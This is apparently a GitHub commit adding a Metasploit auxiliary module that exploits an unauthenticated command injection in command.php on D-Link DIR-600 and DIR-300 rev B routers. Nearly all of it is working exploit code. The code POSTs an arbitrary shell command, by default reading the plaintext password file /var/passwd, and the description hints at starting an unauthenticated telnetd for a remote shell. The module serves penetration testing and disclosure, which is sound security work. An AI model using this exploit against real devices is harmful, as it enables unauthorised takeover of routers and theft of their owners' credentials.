Skip to content

Commit 5ca0e45

Browse files
author
m-1-k-3
committed
initial commit
1 parent 797e260 commit 5ca0e45

File tree

1 file changed

+73
-0
lines changed

1 file changed

+73
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link DIR-600 rev B / DIR-300 rev B unauthenticated Remote Command Execution in command.php',
17+
'Description' => %q{
18+
Some D-Link Routers are vulnerable to OS Command injection.
19+
You do not need credentials to the webinterface because the command.php
20+
is accesseble without authentication. You could read the plaintext password
21+
file.
22+
Hint: To get a remote shell you could start the telnetd without any authentication.
23+
},
24+
'Author' => [ 'm-1-k-3' ],
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
[ 'URL', 'http://www.dlink.de/cs/Satellite?c=Product_C&childpagename=DLinkEurope-DE%2FDLTechProduct&cid=1197381489628&p=1197318958220&packedargs=QuickLinksParentID%3D1197318958220%26locale%3D1195806663795&pagename=DLinkEurope-DE%2FDLWrapper' ],
29+
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
30+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ],
31+
],
32+
'DefaultTarget' => 0,
33+
'DisclosureDate' => 'Feb 04 2013'))
34+
35+
register_options(
36+
[
37+
Opt::RPORT(80),
38+
OptString.new('CMD', [ true, 'The command to execute', 'cat /var/passwd'])
39+
], self.class)
40+
end
41+
42+
def run
43+
uri = '/command.php'
44+
45+
print_status("Sending remote command: " + datastore['CMD'])
46+
47+
data_cmd = "cmd=#{datastore['CMD']}; echo end"
48+
49+
begin
50+
res = send_request_cgi(
51+
{
52+
'uri' => uri,
53+
'method' => 'POST',
54+
'data' => data_cmd,
55+
})
56+
return :abort if res.nil?
57+
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
58+
return :abort if (res.code == 404)
59+
60+
rescue ::Rex::ConnectionError
61+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
62+
return :abort
63+
end
64+
65+
if res.body.include? "end"
66+
print_status("Exploited successfully")
67+
print_line("Command: #{datastore['CMD']}")
68+
print_line("Output: #{res.body}")
69+
else
70+
print_status("Exploit failed.")
71+
end
72+
end
73+
end

0 commit comments

Comments
 (0)